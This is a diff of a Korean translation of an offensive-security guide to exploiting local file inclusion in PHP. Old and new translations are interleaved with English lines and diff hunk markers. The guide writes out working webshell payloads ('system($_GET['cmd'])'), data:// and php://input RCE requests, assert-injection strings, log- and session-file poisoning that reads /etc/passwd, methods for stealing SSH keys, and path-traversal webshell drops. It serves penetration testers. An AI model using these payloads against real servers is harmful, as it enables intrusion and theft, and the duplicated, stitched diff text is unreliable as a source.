- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- `mcrypt.*` : 더 이상 사용되지 않음
- `mdecrypt.*` : 더 이상 사용되지 않음
- Other Filters
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있다:
- `consumed`
- `dechunk`: HTTP chunked 인코딩을 역처리합니다
- `dechunk`: HTTP chunked 인코딩을 역변환
- `convert.*`
```php
# String Filters
@ -271,38 +271,38 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> 부분 "php://filter"는 대소문자를 구분하지 않습니다
> The part "php://filter" is case insensitive
### php filters를 oracle로 사용하여 임의 파일을 읽기
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에는 서버로부터 출력이 반환되지 않아도 로컬 파일을 읽는 기술이 제안되어 있습니다. 이 기술은 **boolean exfiltration of the file (char by char) using php filters**을 oracle로 사용하는 것에 기반합니다. 이는 php filters를 사용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 은 서버에서 출력이 바로 반환되지 않는 상황에서 로컬 파일을 읽는 기법을 제안합니다. 이 기법은 **php filters를 oracle로 사용한 파일의 boolean exfiltration(문자 단위)** 에 기반합니다. 이는 php filters가 텍스트를 충분히 크게 만들어 php가 예외를 던지게 할 수 있기 때문입니다.
원문 포스트에서 기술에 대한 자세한 설명을 볼 수 있지만, 여기서 빠른 요약을 제공합니다:
원문 포스트에는 기법에 대한 자세한 설명이 있으니 참고하시고, 여기에는 간단한 요약만 적습니다:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- 이는 초기 문자가 올바르게 추측되었을 때 php가 **오류**를 발생시킬 만큼 매우 큰 **text**를 생성하는 데 사용됩니다.
- **dechunk** 필터는 **첫 문자가 16진수가 아니면 모든 것을 제거**하므로 첫 문자가 hex인지 알 수 있습니다.
- 이는 이전 필터(및 추측된 문자에 따라 다른 필터)와 결합되어, 충분한 변환을 가했을 때 문자가 16진수 문자가 아니게 되는 시점을 보고 텍스트의 처음 문자를 추측할 수 있게 해줍니다. 16진수라면 dechunk가 삭제하지 않고 초기 폭탄이 php 오류를 발생시키기 때문입니다.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- 시작 지점에서 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 코덱을 사용해 다른 문자들을 16진수 범위로 옮길 수도 있습니다).
- 초기 문자가 숫자일 경우 base64로 인코딩하고 처음 2문자를 leak하여 숫자를 알아내야 합니다.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- codec **`UCS-4LE`** 를 사용해 텍스트의 선행 문자를 남기고 문자열의 크기를 기하급수적으로 증가시킵니다.
- 이렇게 하면 초깃값 문자가 정확히 맞았을 때 텍스트가 매우 커져 php가 **error** 를 발생시킵니다.
- **dechunk** filter는 **첫 문자가 hexadecimal이 아니면 모든 것을 제거** 하므로, 첫 문자가 hex인지 알 수 있습니다.
- 이것은 이전 변환들과(및 추측한 문자에 따라 다른 filters) 결합되어, 초기 텍스트의 첫 문자가 변환을 충분히 거쳐 hexadecimal이 아니게 되는 시점을 통해 문자를 추정할 수 있게 해줍니다. 만약 hex라면 dechunk가 삭제하지 않고, 초기 폭발(bomb)이 php error를 유발합니다.
- codec **convert.iconv.UNICODE.CP930** 은 각 문자를 다음 문자로 변환합니다(예: a -> b). 따라서 예를 들어 첫 문자가 `a`인지 알아내려면 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 더 이상 hexadecimal 문자가 아니게 되고, 결과적으로 dechunk가 삭제하지 않아 초기 bomb으로 php error가 발생하는지로 판단할 수 있습니다.
- 시작에서 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자들을 leak할 수 있습니다(또한 다른 codecs를 이용해 다른 문자들을 hex 범위로 이동시킬 수 있습니다).
- 초기 문자가 숫자일 경우에는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 판별해야 합니다.
- 최종 문제는 **초기 문자보다 더 많은 데이터**를 어떻게 leak할 것인가입니다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 같은 order memory filters를 사용하면 문자들의 순서를 변경하여 텍스트의 다른 문자를 첫 위치로 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 **convert.iconv.UTF16.UTF16** 으로 초반에 2바이트의 잡(junk) 데이터를 생성하고, **UCS-4LE** 를 적용해 **다음 2바이트와 피벗(pivot)** 시키고, 잡 데이터가 나올 때까지 데이터를 삭제해(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다) 원하는 비트에 도달할 때까지 이 과정을 계속합니다.
게시물에서는 이를 자동으로 수행하는 도구도 공개되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
이 wrapper는 프로세스가 연 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용할 수 있습니다:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
또한 **php://stdin, php://stdout and php://stderr**를 사용 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
### zip:// and rar://
PHPShell이 들어있는 Zip 또는 Rar 파일을 업로드한 뒤 접근하세요.\
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하세요.\
rar protocol을 악용하려면 **명시적으로 활성화되어야 합니다**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다.
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한된다는 점에 유의하세요
### expect://
Expect를 활성화해야 합니다. 이를 사용하여 code를 실행할 수 있습니다:
Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
POST 파라미터에 payload를 지정하세요:
POST 매개변수에 payload를 지정하세요:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
웹 애플리케이션이 파일 로딩에 `include` 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있다. 아래 PHP 코드 스니펫은 `.phar` 파일 생성 방법을 보여준다:
`.phar` 파일은 웹 애플리케이션이 파일 로드를 위해 `include` 같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일을 생성하는 방법을 보여줍니다:
```php
<?php
$phar = new Phar('test.phar');
@ -358,9 +358,9 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
LFI가 PHP 코드 실행 없이 파일을 읽기만 하는 경우(예: `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()`), phar 프로토콜을 통한 파일 읽기와 관련된 deserialization vulnerability를 이용해 공격을 시도할 수 있습니다.
LFI가 PHP 내부의 코드를 실행하지 않고 단순히 파일을 읽기만 하는 경우(예: `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()`의 함수로), deserialization 취약점을 이용한 공격을 시도할 수 있습니다. 이 취약점은 `phar` 프로토콜을 통해 파일을 읽을 때 관련됩니다.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
php filters를 지원하는 PHP에서의 **any arbitrary file read from PHP that supports php filters**를 악용하면 RCE를 얻을 수 있었습니다. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunks 체인을 **alter the chain of free chunks**하여 임의 주소에 **write anything in any address**할 수 있게 했고, **`system`**을 호출하는 훅을 추가했습니다.\
추가적인 php filters를 악용해 특정 크기의 청크를 alloc하는 것이 가능했습니다.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
### More protocols
다음에서 더 많은 가능한[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion attack에서 어떻게 유용할지 확실 않음)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion attack에서 어떻게 유용할지 확실하지 않음)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 일치하는 경로명 찾기 (출력 가능한 내용을 반환하지 않아 여기서는 별로 유용하지 않음)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일 읽기에 유용하지 않음)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데에는 유용하지 않음)
## LFI via PHP's 'assert'
PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있으므로 Local File Inclusion (LFI) 위험이 특히 큽니다. 특히 ".." 같은 디렉토리 트래버설 문자가 포함된 입력을 검사만 하고 제대로 정제하지 않으면 문제가 됩니다.
Local File Inclusion (LFI)는 문자열 내의 코드를 실행할 수 있는 'assert' 함수를 다룰 때 특히 위험합니다. 입력에 ".." 같은 directory traversal 문자가 포함되어 있는지 검사하지만 제대로 정제되지 않는 경우 문제가 됩니다.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
이것은 traversal을 막으려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
이것은 traversal을 막기 위한 것이지만, 의도치 않게 code injection을 위한 벡터를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
마찬가지로, arbitrary system commands 실행을 위해 다음을 사용할 수 있습니다:
마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있다:
```plaintext
' and die(system("id")) or '
```
@ -411,36 +411,36 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> 이 기법은 당신이 **파일 경로**를 **제어**할 수 있고, 해당 경로를 통해 **PHP 함수**가 **파일에 접근**하지만 파일의 내용은 보이지 않는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다.
> 이 기법은 당신이 **파일 경로**를 **제어**할 수 있는 **PHP 함수**가 파일에 **접근**하지만 파일 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출)와 관련이 있습니다. 그러나 내용은 표시되지 않습니다.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
요약하자면, 이 기법은 파일의 내용을 매우 **큰** 상태로 만들기 위해 **"UCS-4LE" encoding**을 사용하여 해당 파일을 여는 **PHP 함수**가 **error**를 발생시키게 하는 방식입니다.
요약하면, 이 기법은 **"UCS-4LE" encoding**을 사용해 파일의 내용을 매우 **크게** 만들어 그 파일을 여는 **PHP function**이 **오류**를 발생시키게 합니다.
다음, 첫 문자를 leak 하기 위해 필터 **`dechunk`**를 다른 필터들(예: **base64**, **rot13**)과 함께 사용하고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE**를 사용하여 **다른 문자들을 맨 앞에 배치하고 그것들을 leak**합니다.
후 첫 문자를 leak하기 위해 필터 **`dechunk`**가 **base64**나 **rot13** 같은 다른 필터들과 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE**를 사용해 다른 문자들을 시작 부분에 배치하고 그 문자들을 leak합니다.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**취약할 수 있는 함수들**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
기술적 세부사항은 언급된 포스트를 확인하세요!
기술적인 세부사항은 앞서 언급한 글을 참고하세요!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
서버 측 코드가 파일을 수집/업로드할 때 대상 경로를 사용자 제어 데이터(예: filename 또는 URL)를 사용해 canonicalise 및 검증 없이 조합하면, `..` 세그먼트나 절대 경로가 의도한 디렉터리를 탈출하여 임의 파일 쓰기가 발생할 수 있습니다. 페이로드를 웹 노출 디렉터리에 배치할 수 있다면, 보통 webshell을 떨어뜨려 인증되지 않은 RCE를 얻을 수 있습니다.
서버 측 코드가 파일을 수신/업로드할 때 목적지 경로를 사용자 제어 데이터(예: 파일명이나 URL)를 사용해 canonicalising 및 검증 없이 조립하면, `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의 파일 쓰기를 초래할 수 있습니다. 페이로드를 web-exposed 디렉터리에 배치할 수 있다면, 보통 webshell을 올려 인증 없는 RCE를 얻을 수 있습니다.
Typical exploitation workflow:
- 경로/파일명을 받아 디스크에 내용을 쓰는 write primitive를 제공하는 endpoint나 background worker를 식별합니다(예: message-driven ingestion, XML/JSON command handlers, ZIP extractors 등).
- 쓰기 primitive를 제공하는 엔드포인트나 백그라운드 작업을 식별합니다(경로/파일명을 받아 디스크에 내용을 쓰는 곳 — 예: 메시지 기반 수신, XML/JSON 명령 핸들러, ZIP 추출기 등).
- web-exposed 디렉터리를 파악합니다. 일반적인 예:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 의도된 저장 디렉터리에서 webroot로 벗어나게 하는 traversal 경로를 만들어 webshell 내용을 포함시킵니다.
- 배포된 페이로드에 접속하여 명령을 실행합니다.
- 의도된 저장 디렉터리에서 webroot로 빠져나오도록 traversal 경로를 구성하고, webshell 내용을 포함시킵니다.
- 드롭된 페이로드를 브라우저로 열어 명령을 실행합니다.
Notes:
- 파일 쓰기를 수행하는 취약 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004의 JMF XML 리스너). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 것입니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
- 쓰기를 수행하는 취약 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 귀하의 페이로드를 제공할 것입니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 문자열 연결로 구현됩니다. 정규화(canonicalisation)/허용 목록(allow-listing) 검증의 부재가 핵심 결함입니다.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,25 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
유형의 버그를 막는 보안 강화:
- 정규화된 경로(canonical path)로 해석하고 허용 목록에 등록된 기준 디렉터리의 하위인지 강제하세요.
- `..`, 절대 루트, 또는 드라이브 문자를 포함하는 경로는 거부하세요; 생성된 파일명(prefer generated filenames) 사용을 권장합니다.
- writer를 권한이 낮은 계정으로 실행하고 쓰기 디렉터리를 서비스 루트와 분리하세요.
클래스의 버그를 막는 하드닝:
- 경로를 정규화하여 canonical path로 만들고, 허용된(allow-listed) 기본 디렉터리의 하위인지 강제하세요.
- `..`, absolute roots, 또는 drive letters를 포함하는 경로는 모두 거부하세요; generated filenames를 선호하세요.
- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 served roots와 분리하세요.
## Remote File Inclusion
에서 설명됨, [**follow this link**](#remote-file-inclusion).
서 설명했습니다. [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Apache/Nginx 로그 파일을 통해
Apache 또는 Nginx 서버가 **vulnerable to LFI** 이고 include 함수 내부에서 취약점이 있다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`** 에 접근을 시도할 수 있습니다. **user agent** 또는 **GET parameter** 안에 **`<?php system($_GET['c']); ?>`** 같은 php shell을 넣고 그 파일을 include 하세요.
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
> [!WARNING]
> **만약 shell에 대해 double quotes를 사용하면** simple quotes 대신 들어간 double quotes가 문자열 "_**quote;**_"로 변형되어 **PHP가 에러를 발생시키며** 아무 것도 실행되지 않습니다.
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
>
> 또한, 페이로드를 **정확히 작성**해야 합니다. 그렇지 않으면 PHP가 로그 파일을 로드할 때마다 에러가 나고 두 번째 기회를 얻지 못할 수 있습니다.
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
이 방법은 다른 로그에서도 가능하지만 **주의하세요,** 로그 안의 코드는 URL 인코딩되어 있을 수 있으며 이로 인해 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"** 는 Base64로 인코딩된 "user:password" 를 포함하며 로그 안에서 디코드됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
다른 가능한 로그 경로:
```python
/var/log/apache2/access.log
@ -501,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 이메일을 통해
**메일을 보내기**: 내부 계정 (user@localhost)으로 `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 include해 보세요.
**메일 전송**: 내부 계정(user@localhost)으로 PHP payload인 `<?php echo system($_REQUEST["cmd"]); ?>`를 포함한 메일을 보내고, 다음 경로 중 하나로 사용자 메일을 include 해 보세요: **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\*를 통해
1. 많은 shells(예: 100개)을 업로드하세요.
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID = 프로세스의 PID (can be brute forced)이고 $FD는 파일 디스크립터(또한 can be brute forced)입니다.
1. 많은 shells를 업로드하세요 (예: 100개)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 include 하세요. 여기서 $PID = 프로세스의 PID (can be brute forced), $FD = 파일 디스크립터 (can be brute forced too)
### /proc/self/environ 통해
### /proc/self/environ 통해
로그 파일처럼, User-Agent에 페이로드를 담아 보내면 /proc/self/environ 파일 안에 반영됩니다.
로그 파일처럼, User-Agent에 payload를 담아 전송하면 /proc/self/environ 파일에 반영됩니다
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### 업로드를 통해
파일을 업로드할 수 있다면, 그 파일에 shell payload를 주입하면 됩니다 (예: `<?php system($_GET['c']); ?>`).
파일을 업로드할 수 있다면, 그 안에 shell payload를 주입하세요 (예: `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
파일을 읽기 쉽게 유지하려면 이미지/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다
파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
### ZIP 파일 업로드를 통해
### Via Zip fie upload
압축된 PHP shell을 포함한 ZIP 파일을 업로드하고 접근:
압축된 PHP shell이 포함된 ZIP 파일을 업로드한 후 접근:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -541,125 +541,130 @@ PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
cookie를 다음 값으로 설정하세요: `<?php system('cat /etc/passwd');?>`
쿠키를 `<?php system('cat /etc/passwd');?>`로 설정하세요
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI를 사용하여 PHP session 파일을 포함하세요
LFI를 사용해 PHP 세션 파일을 포함하세요
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh를 통해
### Via ssh
ssh가 활성화되어 있다면 어떤 사용자가 사용되는지 확인하세요 (/proc/self/status & /etc/passwd) 그리**\<HOME>/.ssh/id_rsa**에 접근을 시도해보세요
ssh가 활성화되어 있으면 어떤 사용자가 사용되고 있는지 (/proc/self/status & /etc/passwd) 확인하**\<HOME>/.ssh/id_rsa**에 접근해 보세요.
### **를 통해** **vsftpd** _**logs**_
### **Via** **vsftpd** _**logs**_
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
1. 로그인 과정에서 username 필드에 PHP payload를 주입합니다.
2. 주입 후에는 LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 불러옵니다.
1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
2. 주입 후 LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 가져옵니다.
### php base64 filter (using base64)를 통해
### Via php base64 filter (using base64)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. 이를 이용해 파일 확장자 검사를 우회할 수 있습니다: base64가 ".php"로 끝나도록 공급하면, 필터는 "."를 무시하고 "php"를 base64에 추가합니다. 예시 payload는 다음과 같습니다:
이 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article에서 보이는 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사를 우회할 수 있습니다: base64가 ".php"로 끝나도록 공급하면, filter는 "."을 무시하고 "php"를 base64에 붙입니다. 예시 payload는 다음과 같습니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters를 통한 방법 (파일 불필요)
### Via php filters (파일 필요 없음)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)설명은 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**는 것이다. 기본적으로 이는 include에 대해 **임의의 php 코드를 생성할 수 있다**는 뜻이며, 파일로 **직접 쓰지 않아도 된다**.
이 [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 요컨대, 파일로 작성하지 않고도 include에 사용할 **임의의 php code를 생성할 수 있다**는 뜻입니다.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### segmentation fault를 통한 방법
### Via segmentation fault
**업로드**한 파일은 `/tmp`**임시**로 저장되고, 같은 **요청에서** **segmentation fault**를 발생시키면 그 **임시 파일이 삭제되지 않아** 검색할 수 있다.
파일을 **업로드**하면 `/tmp`에 **임시**로 저장됩니다. 같은 **요청에서** **segmentation fault**를 발생시키면 해당 **임시 파일이 삭제되지 않으며** 이를 찾아볼 수 있습니다.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Nginx temp file storage를 통한 방법
### Via Nginx 임시 파일 저장
만약 **Local File Inclusion**을 발견했고 **Nginx**가 PHP 앞에서 실행 중이라면 다음 기법으로 RCE를 얻을 수 있다:
**Local File Inclusion**를 발견했고 **Nginx**가 PHP 앞단에서 동작한다면 다음 기법으로 **RCE**를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
### Via PHP_SESSION_UPLOAD_PROGRESS
세션이 없고 `session.auto_start``Off`여도 **Local File Inclusion**을 발견했다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**한다. 이를 악용해 RCE를 얻을 수 있다:
세션이 없고 `session.auto_start``Off`인 경우에도 **Local File Inclusion**를 발견했다면, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 포함하면 PHP가 **세션을 활성화**합니다. 이를 악용해 **RCE**를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows에서의 temp file uploads를 통한 방법
### Via Windows에서의 임시 파일 업로드
만약 **Local File Inclusion**을 발견했고 서버가 **Windows**에서 실행 중이라면 RCE를 얻을 수도 있다:
**Local File Inclusion**를 발견했고 서버가 **Windows**에서 동작한다면 RCE를 얻을 수 있습니다:
{{#ref}}
